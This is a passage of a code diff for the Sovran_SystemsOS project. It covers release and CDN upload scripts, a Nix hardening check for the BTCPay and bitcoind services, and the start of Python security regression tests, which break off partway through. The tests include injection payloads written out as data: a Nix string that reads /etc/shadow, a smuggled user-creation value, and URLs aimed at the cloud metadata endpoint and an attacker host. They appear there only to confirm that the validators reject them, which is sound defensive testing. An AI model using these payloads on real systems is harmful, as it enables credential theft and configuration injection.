OLD_ISO_VER=$(grep -oE 'Sovran_SystemsOS-[0-9]+\.[0-9]+\.[0-9]+\.iso' "$README_FILE" | head -1 | sed 's/Sovran_SystemsOS-//; s/\.iso//')
|
||||
|
||||
if [ -n "$OLD_ISO_VER" ] && [ "$OLD_ISO_VER" != "$VERSION" ]; then
|
||||
# Portable in-place edit (works with GNU sed and BSD/macOS sed)
|
||||
sed "s/Sovran_SystemsOS-${OLD_ISO_VER}/Sovran_SystemsOS-${VERSION}/g" \
|
||||
"$README_FILE" > "$README_FILE.tmp" && mv "$README_FILE.tmp" "$README_FILE"
|
||||
|
||||
UPDATED=$(grep -c "Sovran_SystemsOS-${VERSION}" "$README_FILE")
|
||||
echo -e " ${GREEN}✓${NC} README.md: ${OLD_ISO_VER} -> ${VERSION} (${UPDATED} references updated)"
|
||||
|
||||
git add "$README_FILE"
|
||||
git commit -m "docs: update README ISO download links to ${TAG}" || true
|
||||
echo -e " ${GREEN}✓${NC} Committed README update"
|
||||
else
|
||||
echo -e " ${YELLOW}⚠${NC} README.md already references ${VERSION} or no versioned ISO links found — skipping"
|
||||
fi
|
||||
else
|
||||
echo -e " ${YELLOW}⚠${NC} README.md not found — skipping"
|
||||
fi
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Step 3: Auto-update CHANGELOG.md
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
+56
-25
@@ -7,7 +7,15 @@
|
||||
# Usage:
|
||||
# ./scripts/upload-cdn.sh [--upload]
|
||||
#
|
||||
# EVERYTHING this script creates lives OUTSIDE the repository, even when you
|
||||
# run it from inside the repo:
|
||||
# - the nix build output symlink -> $ISO_OUT_DIR/result
|
||||
# - the ISO and .sha256 files -> $ISO_OUT_DIR
|
||||
# The repo working tree stays completely clean.
|
||||
#
|
||||
# Environment variables (optional):
|
||||
# ISO_OUT_DIR - dir for the build symlink + ISO + checksum
|
||||
# (default: ~/Sovran-builds)
|
||||
# CDN_RSYNC_TARGET - rsync destination (e.g. user@server:/var/www/downloads/)
|
||||
# CDN_RCLONE_REMOTE - rclone remote target (e.g. s3:my-bucket/downloads/)
|
||||
# CDN_UPLOAD_CMD - custom upload command
|
||||
@@ -22,65 +30,88 @@ BLUE='\033[0;34m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# Always operate from the repo root, no matter where the script is invoked from
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
cd "$REPO_ROOT"
|
||||
|
||||
# Read version from VERSION file
|
||||
if [ ! -f VERSION ]; then
|
||||
echo -e "${RED}Error: VERSION file not found.${NC}" >&2
|
||||
echo -e "${RED}Error: VERSION file not found in $REPO_ROOT.${NC}" >&2
|
||||
exit 1
|
||||
fi
|
||||
VERSION=$(cat VERSION | tr -d '\n\r ')
|
||||
ISO_NAME="Sovran_SystemsOS-${VERSION}.iso"
|
||||
SHA_NAME="${ISO_NAME}.sha256"
|
||||
|
||||
# Output directory OUTSIDE the repo (override with ISO_OUT_DIR)
|
||||
OUT_DIR="${ISO_OUT_DIR:-$HOME/Sovran-builds}"
|
||||
mkdir -p "$OUT_DIR"
|
||||
OUT_DIR="$(cd "$OUT_DIR" && pwd)"
|
||||
ISO_PATH="$OUT_DIR/${ISO_NAME}"
|
||||
SHA_PATH="$OUT_DIR/${SHA_NAME}"
|
||||
RESULT_LINK="$OUT_DIR/result"
|
||||
|
||||
echo -e "${BLUE}╔════════════════════════════════════════════════════════════╗${NC}"
|
||||
echo -e "${BLUE}║ Sovran_SystemsOS CDN ISO Packaging & Upload Tool ║${NC}"
|
||||
echo -e "${BLUE}╚════════════════════════════════════════════════════════════╝${NC}"
|
||||
echo -e " Version : ${CYAN}${VERSION}${NC}"
|
||||
echo -e " ISO : ${CYAN}${ISO_NAME}${NC}"
|
||||
echo -e " Repo : ${CYAN}${REPO_ROOT}${NC} (left untouched)"
|
||||
echo -e " Output : ${CYAN}${OUT_DIR}${NC} (outside the repo)"
|
||||
echo
|
||||
|
||||
# Locate or build ISO
|
||||
SRC_ISO=""
|
||||
if [ -f "result/iso/${ISO_NAME}" ]; then
|
||||
SRC_ISO="result/iso/${ISO_NAME}"
|
||||
if [ -f "$RESULT_LINK/iso/${ISO_NAME}" ]; then
|
||||
SRC_ISO="$RESULT_LINK/iso/${ISO_NAME}"
|
||||
elif [ -f "$RESULT_LINK/iso/Sovran_SystemsOS.iso" ]; then
|
||||
SRC_ISO="$RESULT_LINK/iso/Sovran_SystemsOS.iso"
|
||||
elif [ -f "result/iso/${ISO_NAME}" ]; then
|
||||
SRC_ISO="result/iso/${ISO_NAME}" # legacy: from an older in-repo build
|
||||
elif [ -f "result/iso/Sovran_SystemsOS.iso" ]; then
|
||||
SRC_ISO="result/iso/Sovran_SystemsOS.iso"
|
||||
else
|
||||
FOUND=$(find result -name "*.iso" 2>/dev/null | head -n 1 || true)
|
||||
FOUND=$(find "$RESULT_LINK" result -name "*.iso" 2>/dev/null | head -n 1 || true)
|
||||
if [ -n "$FOUND" ]; then
|
||||
SRC_ISO="$FOUND"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -z "$SRC_ISO" ] || [ ! -f "$SRC_ISO" ]; then
|
||||
echo -e "${YELLOW}Built ISO not found in result/. Building ISO via Nix...${NC}"
|
||||
nix build .#nixosConfigurations.sovran_systemsos-iso.config.system.build.isoImage
|
||||
|
||||
if [ -f "result/iso/${ISO_NAME}" ]; then
|
||||
SRC_ISO="result/iso/${ISO_NAME}"
|
||||
echo -e "${YELLOW}Built ISO not found. Building via Nix (result link goes outside the repo)...${NC}"
|
||||
rm -f "$RESULT_LINK"
|
||||
nix build .#nixosConfigurations.sovran_systemsos-iso.config.system.build.isoImage \
|
||||
--out-link "$RESULT_LINK"
|
||||
|
||||
if [ -f "$RESULT_LINK/iso/${ISO_NAME}" ]; then
|
||||
SRC_ISO="$RESULT_LINK/iso/${ISO_NAME}"
|
||||
else
|
||||
FOUND=$(find result -name "*.iso" 2>/dev/null | head -n 1 || true)
|
||||
FOUND=$(find "$RESULT_LINK" -name "*.iso" 2>/dev/null | head -n 1 || true)
|
||||
if [ -n "$FOUND" ]; then
|
||||
SRC_ISO="$FOUND"
|
||||
else
|
||||
echo -e "${RED}Error: Failed to locate built ISO in result/.${NC}" >&2
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
echo -e "${BLUE}Step 1: Copying built ISO out of Nix store...${NC}"
|
||||
cp -v "$SRC_ISO" "./${ISO_NAME}"
|
||||
echo -e " ${GREEN}✓${NC} Copied to ./${ISO_NAME}"
|
||||
if [ -z "$SRC_ISO" ] || [ ! -f "$SRC_ISO" ]; then
|
||||
echo -e "${RED}Error: Failed to locate built ISO.${NC}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo -e "${BLUE}Step 1: Copying built ISO to output dir (outside repo)...${NC}"
|
||||
cp -v "$SRC_ISO" "$ISO_PATH"
|
||||
echo -e " ${GREEN}✓${NC} Copied to $ISO_PATH"
|
||||
|
||||
echo
|
||||
echo -e "${BLUE}Step 2: Generating versioned SHA-256 checksum...${NC}"
|
||||
sha256sum "${ISO_NAME}" > "${SHA_NAME}"
|
||||
echo -e " ${GREEN}✓${NC} Generated ${SHA_NAME}"
|
||||
cat "${SHA_NAME}"
|
||||
sha256sum "$ISO_PATH" > "$SHA_PATH"
|
||||
echo -e " ${GREEN}✓${NC} Generated $SHA_PATH"
|
||||
cat "$SHA_PATH"
|
||||
|
||||
echo
|
||||
echo -e "${BLUE}Step 3: Verifying checksum...${NC}"
|
||||
sha256sum --check "${SHA_NAME}"
|
||||
sha256sum --check "$SHA_PATH"
|
||||
echo -e " ${GREEN}✓${NC} Checksum verified successfully"
|
||||
|
||||
# Parse arguments for upload
|
||||
@@ -97,7 +128,7 @@ done
|
||||
if [ "$DO_UPLOAD" -eq 1 ]; then
|
||||
echo
|
||||
echo -e "${BLUE}Step 4: Uploading to CDN...${NC}"
|
||||
|
||||
|
||||
UPLOADED=0
|
||||
if [ -n "${CDN_UPLOAD_CMD:-}" ]; then
|
||||
echo -e " Running custom CDN_UPLOAD_CMD..."
|
||||
@@ -107,13 +138,13 @@ if [ "$DO_UPLOAD" -eq 1 ]; then
|
||||
|
||||
if [ -n "${CDN_RSYNC_TARGET:-}" ]; then
|
||||
echo -e " Uploading via rsync to ${CDN_RSYNC_TARGET}..."
|
||||
rsync -avP "${ISO_NAME}" "${SHA_NAME}" "${CDN_RSYNC_TARGET}"
|
||||
rsync -avP "$ISO_PATH" "$SHA_PATH" "${CDN_RSYNC_TARGET}"
|
||||
UPLOADED=1
|
||||
fi
|
||||
|
||||
if [ -n "${CDN_RCLONE_REMOTE:-}" ]; then
|
||||
echo -e " Uploading via rclone to ${CDN_RCLONE_REMOTE}..."
|
||||
rclone copy "${ISO_NAME}" "${SHA_NAME}" "${CDN_RCLONE_REMOTE}"
|
||||
rclone copy "$ISO_PATH" "$SHA_PATH" "${CDN_RCLONE_REMOTE}"
|
||||
UPLOADED=1
|
||||
fi
|
||||
|
||||
@@ -128,8 +159,8 @@ else
|
||||
echo -e "${GREEN}╔════════════════════════════════════════════════════════════╗${NC}"
|
||||
echo -e "${GREEN}║ ✅ ISO packaging & verification complete! ║${NC}"
|
||||
echo -e "${GREEN}╚════════════════════════════════════════════════════════════╝${NC}"
|
||||
echo -e "Ready files:"
|
||||
ls -lh "${ISO_NAME}" "${SHA_NAME}"
|
||||
echo -e "Ready files (in ${CYAN}${OUT_DIR}${NC}, outside the repo):"
|
||||
ls -lh "$ISO_PATH" "$SHA_PATH"
|
||||
echo
|
||||
echo "To upload to CDN, run:"
|
||||
echo " ./scripts/upload-cdn.sh --upload"
|
||||
|
||||
@@ -0,0 +1,146 @@
|
||||
{ nixpkgs, overlay-stable, system ? "x86_64-linux" }:
|
||||
|
||||
let
|
||||
lib = nixpkgs.lib;
|
||||
pkgs = import nixpkgs {
|
||||
inherit system;
|
||||
overlays = [ overlay-stable ];
|
||||
};
|
||||
|
||||
normalize = s:
|
||||
lib.replaceStrings [ "\n" "\\" " " ] [ " " "" " " ] s;
|
||||
|
||||
extractAfter = prefix: str:
|
||||
let
|
||||
match = builtins.match ".*${prefix} ([^ ]+).*" (normalize str);
|
||||
in
|
||||
if match == null then
|
||||
throw "Unable to extract ${prefix} from: ${normalize str}"
|
||||
else
|
||||
builtins.head match;
|
||||
|
||||
extractFlagValue = flag: str:
|
||||
let
|
||||
match = builtins.match ".*${flag}=([^ ]+).*" (normalize str);
|
||||
in
|
||||
if match == null then
|
||||
throw "Unable to extract ${flag} from: ${normalize str}"
|
||||
else
|
||||
builtins.head match;
|
||||
|
||||
config = (lib.nixosSystem {
|
||||
inherit system;
|
||||
modules = [
|
||||
{ nixpkgs.hostPlatform = system; nixpkgs.overlays = [ overlay-stable ]; }
|
||||
../modules/bitcoin
|
||||
{
|
||||
nix-bitcoin.generateSecrets = true;
|
||||
nix-bitcoin.secretsDir = "/build/secrets";
|
||||
|
||||
services.btcpayserver.enable = true;
|
||||
services.btcpayserver.lightningBackend = "lnd";
|
||||
services.nbxplorer.dataDir = "/build/nbxplorer";
|
||||
services.btcpayserver.dataDir = "/build/btcpayserver";
|
||||
services.lnd.dataDir = "/build/lnd";
|
||||
services.bitcoind.dataDir = "/build/bitcoind";
|
||||
}
|
||||
];
|
||||
}).config;
|
||||
|
||||
nbxplorerPreStart = config.systemd.services.nbxplorer.preStart;
|
||||
bitcoindPreStart = config.systemd.services.bitcoind.preStart;
|
||||
btcpayExecStart = config.systemd.services.btcpayserver.serviceConfig.ExecStart;
|
||||
btcpayWorkingDir = config.systemd.services.btcpayserver.serviceConfig.WorkingDirectory;
|
||||
|
||||
nbxplorerConfigPath = extractAfter "install -m 600" nbxplorerPreStart;
|
||||
btcpayConfigPath = extractFlagValue "--conf" btcpayExecStart;
|
||||
|
||||
nbxplorerConfig = builtins.readFile nbxplorerConfigPath;
|
||||
btcpayConfig = builtins.readFile btcpayConfigPath;
|
||||
in
|
||||
assert lib.assertMsg
|
||||
(config.users.users.${config.services.btcpayserver.user}.home == config.services.btcpayserver.dataDir)
|
||||
"btcpayserver user home must match btcpayserver dataDir";
|
||||
assert lib.assertMsg
|
||||
(config.users.users.${config.services.nbxplorer.user}.home == config.services.nbxplorer.dataDir)
|
||||
"nbxplorer user home must match nbxplorer dataDir";
|
||||
assert lib.assertMsg
|
||||
(config.nix-bitcoin.secrets.bitcoin-HMAC-btcpayserver.user == config.services.bitcoind.user)
|
||||
"bitcoin-HMAC-btcpayserver must be owned by bitcoind";
|
||||
assert lib.assertMsg
|
||||
(config.nix-bitcoin.secrets.bitcoin-rpcpassword-btcpayserver.user == config.services.bitcoind.user)
|
||||
"bitcoin-rpcpassword-btcpayserver must be owned by bitcoind";
|
||||
assert lib.assertMsg
|
||||
(config.nix-bitcoin.secrets.bitcoin-rpcpassword-btcpayserver.group == config.services.nbxplorer.group)
|
||||
"bitcoin-rpcpassword-btcpayserver must be group-readable by nbxplorer";
|
||||
assert lib.assertMsg
|
||||
(!(lib.elem config.services.nbxplorer.group config.users.users.${config.services.btcpayserver.user}.extraGroups))
|
||||
"btcpayserver must not receive the nbxplorer group";
|
||||
assert lib.assertMsg
|
||||
(lib.elem "nix-bitcoin-secrets.target" config.systemd.services.nbxplorer.after)
|
||||
"nbxplorer must wait for nix-bitcoin-secrets.target";
|
||||
assert lib.assertMsg
|
||||
(config.systemd.services.nbxplorer.serviceConfig.MemoryDenyWriteExecute == false)
|
||||
"nbxplorer needs MemoryDenyWriteExecute = false";
|
||||
assert lib.assertMsg
|
||||
(config.systemd.services.btcpayserver.serviceConfig.MemoryDenyWriteExecute == false)
|
||||
"btcpayserver needs MemoryDenyWriteExecute = false";
|
||||
assert lib.assertMsg
|
||||
(lib.hasInfix "network=mainnet" nbxplorerConfig
|
||||
&& lib.hasInfix "btcrpcuser=btcpayserver" nbxplorerConfig
|
||||
&& lib.hasInfix "btcnodeendpoint=127.0.0.1:8335" nbxplorerConfig
|
||||
&& lib.hasInfix "bind=127.0.0.1" nbxplorerConfig
|
||||
&& lib.hasInfix "port=24444" nbxplorerConfig
|
||||
&& lib.hasInfix "postgres=User ID=nbxplorer;Host=/run/postgresql;Database=nbxplorer" nbxplorerConfig)
|
||||
"nbxplorer base config must contain the expected non-secret settings";
|
||||
assert lib.assertMsg
|
||||
(lib.hasInfix "btcexplorerurl=http://127.0.0.1:24444/" btcpayConfig
|
||||
&& lib.hasInfix "btcexplorercookiefile=/build/nbxplorer/Main/.cookie" btcpayConfig)
|
||||
"btcpayserver config must contain btcexplorerurl and btcexplorercookiefile";
|
||||
assert lib.assertMsg
|
||||
(lib.hasSuffix "/lib/btcpayserver" btcpayWorkingDir)
|
||||
"btcpayserver WorkingDirectory must end with /lib/btcpayserver";
|
||||
assert lib.assertMsg
|
||||
(!lib.hasInfix "/build/btcpayserver/settings.config" btcpayExecStart
|
||||
&& lib.hasInfix "--datadir='/build/btcpayserver'" btcpayExecStart)
|
||||
"btcpayserver must use a deterministic config file plus --datadir";
|
||||
assert lib.assertMsg
|
||||
(lib.hasInfix "network=mainnet" btcpayConfig
|
||||
&& lib.hasInfix "bind=127.0.0.1" btcpayConfig
|
||||
&& lib.hasInfix "port=23000" btcpayConfig
|
||||
&& lib.hasInfix "btcexplorerurl=http://127.0.0.1:24444/" btcpayConfig
|
||||
&& lib.hasInfix "explorer.postgres=User ID=nbxplorer;Host=/run/postgresql;Database=nbxplorer" btcpayConfig
|
||||
&& lib.hasInfix "postgres=User ID=btcpayserver;Host=/run/postgresql;Database=btcpayserver" btcpayConfig
|
||||
&& lib.hasInfix "btclightning=type=lnd-rest;server=https://127.0.0.1:8080/;macaroonfilepath=/run/lnd/btcpayserver.macaroon;certfilepath=/build/secrets/lnd-cert" btcpayConfig)
|
||||
"btcpayserver config must preserve BTCPay, NBXplorer, database, and LND settings";
|
||||
assert lib.assertMsg
|
||||
(lib.hasInfix "readValidatedRpcHmac()" bitcoindPreStart
|
||||
&& lib.hasInfix ''if [[ ! -e "$hmacFile" ]]; then'' bitcoindPreStart
|
||||
&& lib.hasInfix ''if [[ ! -r "$hmacFile" ]]; then'' bitcoindPreStart
|
||||
&& lib.hasInfix ''if [[ -z "$hmacPayload" ]]; then'' bitcoindPreStart
|
||||
&& lib.hasInfix ''^[[:xdigit:]]+\$[[:xdigit:]]+$'' bitcoindPreStart
|
||||
&& lib.hasInfix ''Bitcoin RPC HMAC file has invalid format'' bitcoindPreStart
|
||||
&& lib.hasInfix ''hmacPayload="$(readValidatedRpcHmac '/build/secrets/bitcoin-HMAC-btcpayserver')" || exit 1'' bitcoindPreStart)
|
||||
"bitcoind preStart must validate missing, unreadable, empty, and malformed HMAC files";
|
||||
pkgs.runCommand "bitcoin-btcpay-hardening" {} ''
|
||||
mkdir -p /build/secrets /build/nbxplorer
|
||||
|
||||
printf '%s' 'first-password' > /build/secrets/bitcoin-rpcpassword-btcpayserver
|
||||
bash -euo pipefail -c ${lib.escapeShellArg nbxplorerPreStart}
|
||||
|
||||
test "$(stat -c '%a' /build/nbxplorer/settings.config)" = "600"
|
||||
test "$(grep -c '^btcrpcuser=' /build/nbxplorer/settings.config)" = "1"
|
||||
test "$(grep -c '^btcrpcpassword=' /build/nbxplorer/settings.config)" = "1"
|
||||
test "$(grep -c '^postgres=' /build/nbxplorer/settings.config)" = "1"
|
||||
|
||||
printf '%s' 'rotated-password' > /build/secrets/bitcoin-rpcpassword-btcpayserver
|
||||
bash -euo pipefail -c ${lib.escapeShellArg nbxplorerPreStart}
|
||||
|
||||
test "$(grep -c '^btcrpcuser=' /build/nbxplorer/settings.config)" = "1"
|
||||
test "$(grep -c '^btcrpcpassword=' /build/nbxplorer/settings.config)" = "1"
|
||||
test "$(grep -c '^postgres=' /build/nbxplorer/settings.config)" = "1"
|
||||
! grep -q 'first-password' /build/nbxplorer/settings.config
|
||||
grep -q 'rotated-password' /build/nbxplorer/settings.config
|
||||
|
||||
touch "$out"
|
||||
''
|
||||
@@ -0,0 +1,922 @@
|
||||
"""Security regression tests for Sovran Hub security helpers.
|
||||
|
||||
Tests exercise the exact production implementations — no helpers are
|
||||
redefined or simulated here. Every test calls the deployed code.
|
||||
|
||||
Tests must never:
|
||||
- reboot, rebuild, or alter real SSH keys
|
||||
- access the network
|
||||
- write to system paths
|
||||
"""
|
||||
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
# Add the app package to the path so we can import without the full FastAPI tree.
|
||||
_REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), ".."))
|
||||
_APP_PARENT = os.path.join(_REPO_ROOT, "app")
|
||||
if _APP_PARENT not in sys.path:
|
||||
sys.path.insert(0, _APP_PARENT)
|
||||
|
||||
from sovran_systemsos_web.security_helpers import ( # noqa: E402
|
||||
_nix_escape,
|
||||
NPUB_RE,
|
||||
_validate_npub,
|
||||
_validate_ddns_url,
|
||||
_validate_ssh_pubkey,
|
||||
_DDNS_ALLOWED_HOSTNAMES,
|
||||
_bech32_decode,
|
||||
)
|
||||
from sovran_systemsos_web import support_ops # noqa: E402
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Nix string escaping
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestNixEscape(unittest.TestCase):
|
||||
"""_nix_escape must prevent injection into Nix string literals."""
|
||||
|
||||
def test_double_quotes_escaped(self):
|
||||
self.assertEqual(_nix_escape('"hello"'), '\\"hello\\"')
|
||||
|
||||
def test_backslash_escaped(self):
|
||||
self.assertEqual(_nix_escape("a\\b"), "a\\\\b")
|
||||
|
||||
def test_nix_interpolation_escaped(self):
|
||||
self.assertEqual(_nix_escape("${evil}"), "\\${evil}")
|
||||
|
||||
def test_newline_escaped(self):
|
||||
self.assertEqual(_nix_escape("a\nb"), "a\\nb")
|
||||
|
||||
def test_carriage_return_escaped(self):
|
||||
self.assertEqual(_nix_escape("a\rb"), "a\\rb")
|
||||
|
||||
def test_tab_escaped(self):
|
||||
self.assertEqual(_nix_escape("a\tb"), "a\\tb")
|
||||
|
||||
def test_semicolons_unchanged(self):
|
||||
self.assertEqual(_nix_escape("a;b"), "a;b")
|
||||
|
||||
def test_valid_timezone(self):
|
||||
self.assertEqual(_nix_escape("America/New_York"), "America/New_York")
|
||||
|
||||
def test_injection_payload_quotes_and_interpolation(self):
|
||||
payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }'
|
||||
result = _nix_escape(payload)
|
||||
import re as _re
|
||||
self.assertIsNone(_re.search(r'(?<!\\)\$\{', result))
|
||||
|
||||
def test_npub_injection(self):
|
||||
payload = 'npub1aaa"; extraUsers.evil.isNormalUser = true; #'
|
||||
result = _nix_escape(payload)
|
||||
self.assertNotIn('"', result.replace('\\"', ""))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Nostr npub validation — regex pre-filter
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestNpubValidationRegex(unittest.TestCase):
|
||||
"""NPUB_RE must enforce the npub1 + 58 lowercase bech32 shape."""
|
||||
|
||||
# 58 bech32 chars after "npub1"
|
||||
VALID_SHAPE = "npub1" + "q" * 58
|
||||
|
||||
def test_valid_shape_accepted(self):
|
||||
self.assertIsNotNone(NPUB_RE.fullmatch(self.VALID_SHAPE))
|
||||
|
||||
def test_wrong_prefix_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("nsec1" + "q" * 58))
|
||||
|
||||
def test_too_short_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 57))
|
||||
|
||||
def test_too_long_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59))
|
||||
|
||||
def test_uppercase_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("NPUB1" + "q" * 58))
|
||||
|
||||
def test_injection_quote_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #'))
|
||||
|
||||
def test_injection_interpolation_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "${" + "q" * 52))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Nostr npub validation — full bech32
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestNpubBech32Validation(unittest.TestCase):
|
||||
"""_validate_npub must verify the full bech32 checksum and payload length."""
|
||||
|
||||
BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
|
||||
|
||||
def _make_npub(self, payload_bytes: bytes) -> str | None:
|
||||
"""Build a syntactically valid npub from raw 32-byte payload."""
|
||||
from sovran_systemsos_web.security_helpers import (
|
||||
_bech32_hrp_expand,
|
||||
_bech32_polymod,
|
||||
_bech32_create_checksum,
|
||||
)
|
||||
|
||||
def _convertbits(data, frombits, tobits, pad=True):
|
||||
acc, bits, ret, maxv = 0, 0, [], (1 << tobits) - 1
|
||||
for value in data:
|
||||
acc = ((acc << frombits) | value)
|
||||
bits += frombits
|
||||
while bits >= tobits:
|
||||
bits -= tobits
|
||||
ret.append((acc >> bits) & maxv)
|
||||
if pad and bits:
|
||||
ret.append((acc << (tobits - bits)) & maxv)
|
||||
return ret
|
||||
|
||||
hrp = "npub"
|
||||
data5 = _convertbits(list(payload_bytes), 8, 5)
|
||||
checksum = _bech32_create_checksum(hrp, data5)
|
||||
full = data5 + checksum
|
||||
return hrp + "1" + "".join(self.BECH32_CHARSET[d] for d in full)
|
||||
|
||||
def test_valid_npub_passes_bech32(self):
|
||||
npub = self._make_npub(bytes(32))
|
||||
self.assertIsNotNone(npub)
|
||||
self.assertTrue(_validate_npub(npub))
|
||||
|
||||
def test_bech32_decode_returns_32_bytes(self):
|
||||
npub = self._make_npub(b'\x01' * 32)
|
||||
result = _bech32_decode(npub)
|
||||
self.assertIsNotNone(result)
|
||||
hrp, payload = result
|
||||
self.assertEqual(hrp, "npub")
|
||||
self.assertEqual(len(payload), 32)
|
||||
|
||||
def test_corrupted_checksum_rejected(self):
|
||||
npub = self._make_npub(bytes(32))
|
||||
# Flip last character in the data part
|
||||
corrupted = npub[:-1] + ("q" if npub[-1] != "q" else "p")
|
||||
self.assertFalse(_validate_npub(corrupted))
|
||||
|
||||
def test_mixed_case_rejected(self):
|
||||
npub = self._make_npub(bytes(32))
|
||||
mixed = npub[:10].upper() + npub[10:]
|
||||
self.assertFalse(_validate_npub(mixed))
|
||||
|
||||
def test_wrong_hrp_rejected(self):
|
||||
self.assertFalse(_validate_npub("nsec1" + "q" * 58))
|
||||
|
||||
def test_synthetic_all_q_rejected_by_checksum(self):
|
||||
self.assertFalse(_validate_npub("npub1" + "q" * 58))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# DDNS URL validation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestDdnsUrlValidation(unittest.TestCase):
|
||||
"""_validate_ddns_url must enforce all security constraints."""
|
||||
|
||||
# VALID_URL has no ${IP}: callers must substitute before validation.
|
||||
VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=1.2.3.4"
|
||||
|
||||
def test_valid_njalla_url_accepted(self):
|
||||
self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL)
|
||||
|
||||
def test_www_njalla_accepted(self):
|
||||
url = "https://www.njal.la/update/?h=test&k=TOKEN"
|
||||
self.assertEqual(_validate_ddns_url(url), url)
|
||||
|
||||
def test_http_scheme_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("http://njal.la/update/?k=TOKEN")
|
||||
|
||||
def test_ftp_scheme_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("ftp://njal.la/update/?k=TOKEN")
|
||||
|
||||
def test_credentials_in_url_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("******njal.la/update/?k=TOKEN")
|
||||
|
||||
def test_fragment_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN#frag")
|
||||
|
||||
def test_raw_ip_host_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://1.2.3.4/update/?k=TOKEN")
|
||||
|
||||
def test_non_standard_port_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la:8443/update/?k=TOKEN")
|
||||
|
||||
def test_control_character_newline_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN\n")
|
||||
|
||||
def test_control_character_null_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?k=\x00TOKEN")
|
||||
|
||||
def test_percent_encoded_null_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN%00")
|
||||
|
||||
def test_localhost_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://localhost/update/?k=TOKEN")
|
||||
|
||||
def test_127_0_0_1_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://127.0.0.1/update/?k=TOKEN")
|
||||
|
||||
def test_arbitrary_public_hostname_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://example.com/update/?k=TOKEN")
|
||||
|
||||
def test_attacker_host_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://attacker.njal.la/update/?k=TOKEN")
|
||||
|
||||
def test_metadata_endpoint_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://169.254.169.254/update/?k=TOKEN")
|
||||
|
||||
def test_empty_url_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("")
|
||||
|
||||
def test_too_long_rejected(self):
|
||||
long_url = "https://njal.la/update/?" + "k=" + "x" * 3000
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url(long_url)
|
||||
|
||||
def test_allowed_hostnames_set(self):
|
||||
self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
||||
self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
||||
self.assertNotIn("attacker.njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
||||
self.assertNotIn("localhost", _DDNS_ALLOWED_HOSTNAMES)
|
||||
|
||||
def test_dollar_expression_rejected(self):
|
||||
"""$ in a validated URL is rejected; callers must substitute ${IP} first."""
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?h=test&k=TOKEN&a=${IP}")
|
||||
|
||||
def test_wrong_path_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/api/?k=TOKEN")
|
||||
|
||||
def test_exact_update_path_accepted(self):
|
||||
url = "https://njal.la/update/?h=host.example.com&k=TOKEN"
|
||||
self.assertEqual(_validate_ddns_url(url), url)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# SSH public-key validation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestSshPubkeyValidation(unittest.TestCase):
|
||||
"""_validate_ssh_pubkey must accept only valid single-line OpenSSH public keys."""
|
||||
|
||||
VALID_ED25519 = (
|
||||
